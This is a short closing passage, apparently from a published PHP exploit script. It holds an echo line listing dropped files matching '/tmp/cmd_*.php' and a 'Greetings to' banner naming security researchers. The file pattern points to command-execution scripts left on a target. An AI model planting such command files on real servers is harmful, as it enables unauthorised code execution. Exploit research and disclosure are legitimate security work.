    echo "- /tmp/cmd_*.php\n";
    ?>
    
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================